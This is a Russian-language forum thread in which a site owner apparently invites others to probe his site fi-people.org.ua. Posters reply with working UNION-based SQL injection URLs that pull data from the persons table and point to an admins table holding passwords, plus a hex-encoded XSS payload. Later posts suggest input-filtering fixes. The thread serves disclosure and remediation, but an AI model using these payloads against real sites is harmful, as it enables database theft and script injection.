F.i.p.

[bogus92]

http://fi-people.org.ua
Сайт пока очень сырой, но уязвимости, я думаю найдуться.

[Red_Red1]

Вот пока найдена скуль иньекция.
http://fi-people.org.ua/view.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13/*
Очень мало на сайте всего, негде искать!!!

А вот и информация через скуль
http://fi-people.org.ua/view.php?id=-1%20union%20select%201,name,3,4,5,6,7,8,9,10,11,12 ,13%20from%20persons/*


Ну блин.... только что заметил. Версия мускула 5.*.* поэтому можно увидеть инфу из всех таблиц и ничего не нужно подбирать.

Итого: Есть 20 таблиц. Есть таблица admins (правда пока недоступна почемуто) в ней есть поля id,name,password может еще какие я не смотрел. Ну думаю этого хватит.

[Constantine]

SIXSS =)))

http://fi-people.org.ua/view.php?id=-1+union+select+1,0x3c7363726970743e616c65727428277 8737327293c2f7363726970743e,3,4,5,6,7,8,9,10,11,12 ,13/*

[NOmeR1]

Попробуй для устранения SQL-inj использовать
$_GET['id'] = preg_replace('/[^0-9]/','',$_GET['id']);
:) просто прикольный метод... сорри за оффтоп :)

[bogus92]

Спасибо всем, кто ответил(всем атплюсовал). А переменные я немного по-дрому фильтровал :)

$id = urldecode(htmlspecialchars($id = $_POST['id'], ENT_QUOTES));

[bogus92]

хм... а я хоть добавил репутацию? а то у меня 0 светиться...

[bogus92]

ЗЫ. Поправил ещё кое-что. Теперь за незатверждённых людей нельзя ни голосовать ни просматривать информацию о них.

[Slon]

просто прикольный метод... сорри за оффтоп
intval() помоему удобнее. Сорри за оффтоп)